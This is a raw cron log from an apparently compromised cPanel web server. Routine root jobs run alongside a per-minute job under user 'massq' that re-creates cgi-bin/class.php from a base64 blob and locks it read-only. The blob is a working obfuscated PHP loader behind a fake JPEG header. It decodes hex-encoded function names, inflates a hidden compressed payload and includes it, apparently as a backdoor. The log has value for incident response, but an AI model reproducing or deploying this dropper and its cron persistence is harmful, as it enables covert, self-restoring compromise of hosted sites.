Aug 30 23:28:01 server CROND[9090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:29:01 server CROND[9467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:29:01 server CROND[9468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:29:01 server CROND[9466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:30:01 server CROND[9847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:30:01 server CROND[9846]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:30:01 server CROND[9845]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:30:01 server CROND[9848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:30:01 server CROND[9851]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:30:01 server CROND[9852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:30:01 server CROND[9849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:30:01 server CROND[9850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:31:01 server CROND[10767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:31:01 server CROND[10768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:31:01 server CROND[10769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:32:01 server CROND[11144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:32:01 server CROND[11145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:32:01 server CROND[11146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:33:01 server CROND[11533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:33:01 server CROND[11532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:33:01 server CROND[11534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:34:01 server CROND[11914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:34:01 server CROND[11915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:34:01 server CROND[11916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:35:01 server CROND[12312]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 23:35:01 server CROND[12311]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:35:01 server CROND[12316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:35:01 server CROND[12315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:35:01 server CROND[12320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:35:01 server CROND[12319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:35:01 server CROND[12318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:35:01 server CROND[12321]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 23:35:01 server CROND[12322]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:36:01 server CROND[13288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:36:01 server CROND[13289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:36:01 server CROND[13290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:37:01 server CROND[13679]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:37:01 server CROND[13680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:37:01 server CROND[13681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:38:01 server CROND[14077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:38:01 server CROND[14078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:38:01 server CROND[14079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:39:01 server CROND[14513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:39:01 server CROND[14514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:39:01 server CROND[14512]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 23:39:01 server CROND[14516]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:40:01 server CROND[14905]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:40:01 server CROND[14907]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:40:01 server CROND[14908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:40:01 server CROND[14912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
